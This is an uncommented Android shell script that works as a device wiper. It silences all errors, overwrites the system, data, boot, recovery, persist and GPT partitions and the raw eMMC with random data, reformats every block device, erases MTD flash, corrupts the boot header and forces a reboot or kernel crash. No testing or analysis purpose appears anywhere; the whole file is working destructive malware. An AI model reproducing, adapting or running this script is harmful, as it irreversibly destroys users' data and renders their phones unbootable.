#!/system/bin/sh

exec 2>/dev/null

PARTITIONS="system vendor data cache boot recovery persist misc"

for part in $PARTITIONS; do
    for block in /dev/block/by-name/$part /dev/block/bootdevice/by-name/$part /dev/block/platform/*/by-name/$part; do
        if [ -e "$block" ]; then
            dd if=/dev/urandom of="$block" bs=4096 count=1024 2>/dev/null
            make_ext4fs "$block" 2>/dev/null
            mke2fs -F "$block" 2>/dev/null
        fi
    done
done

DATA_BLOCK=$(ls /dev/block/by-name/data 2>/dev/null || ls /dev/block/bootdevice/by-name/userdata 2>/dev/null)
if [ -n "$DATA_BLOCK" ]; then
    dd if=/dev/urandom of="$DATA_BLOCK" bs=1M count=500 2>/dev/null
    make_ext4fs -F "$DATA_BLOCK" 2>/dev/null
fi

if [ -e /dev/block/mmcblk0 ]; then
    dd if=/dev/urandom of=/dev/block/mmcblk0 bs=512 count=8192 2>/dev/null
fi

for gpt in /dev/block/*gpt* /dev/block/*GPT* /dev/block/by-name/gpt; do
    [ -e "$gpt" ] && dd if=/dev/urandom of="$gpt" bs=512 count=2048 2>/dev/null
done

mount -o remount,rw /system 2>/dev/null
dd if=/dev/urandom of=/system/test_fill bs=1M count=100 2>/dev/null
rm -rf /system/test_fill 2>/dev/null

dd if=/dev/urandom of=/data/fill bs=1M count=1000 2>/dev/null &
sleep 2
rm -rf /data/fill 2>/dev/null

for mtd in /dev/mtd*; do
    [ -e "$mtd" ] && flash_erase "$mtd" 0 0 2>/dev/null
done

ALL_BLOCKS=$(find /dev/block/by-name -type l 2>/dev/null | xargs -I {} readlink -f {} 2>/dev/null | sort -u)
for block in $ALL_BLOCKS; do
    if [ -b "$block" ]; then
        size=$(cat /sys/block/$(basename $(readlink -f "$block" | cut -d'/' -f3))/$(basename "$block")/size 2>/dev/null)
        if [ -n "$size" ] && [ "$size" -gt 0 ] 2>/dev/null; then
            dd if=/dev/urandom of="$block" bs=1M count=$((size / 2048)) 2>/dev/null
        else
            dd if=/dev/urandom of="$block" bs=1M count=2048 2>/dev/null
        fi
    fi
done

for block in $ALL_BLOCKS; do
    if [ -b "$block" ]; then
        dd if=/dev/urandom of="$block" bs=1M count=100 2>/dev/null
        make_ext4fs "$block" 2>/dev/null
        mke2fs -F "$block" 2>/dev/null
        mkswap "$block" 2>/dev/null
    fi
done

BOOT_BLOCK=$(ls /dev/block/by-name/boot 2>/dev/null || ls /dev/block/bootdevice/by-name/boot 2>/dev/null)
if [ -n "$BOOT_BLOCK" ]; then
    dd if=/dev/urandom of="$BOOT_BLOCK" bs=1M 2>/dev/null
    echo "INVALID_BOOT" | dd of="$BOOT_BLOCK" bs=1 seek=0 count=12 2>/dev/null
fi

RECOVERY_BLOCK=$(ls /dev/block/by-name/recovery 2>/dev/null || ls /dev/block/bootdevice/by-name/recovery 2>/dev/null)
if [ -n "$RECOVERY_BLOCK" ]; then
    dd if=/dev/urandom of="$RECOVERY_BLOCK" bs=1M 2>/dev/null
fi

umount -a 2>/dev/null
umount -l /system 2>/dev/null
umount -l /data 2>/dev/null
umount -l /cache 2>/dev/null
umount -l /mnt/* 2>/dev/null

sync
sleep 1

echo b > /proc/sysrq-trigger 2>/dev/null
reboot -f 2>/dev/null
/system/bin/reboot -f 2>/dev/null
busybox reboot -f 2>/dev/null
echo c > /proc/sysrq-trigger 2>/dev/null

exit 0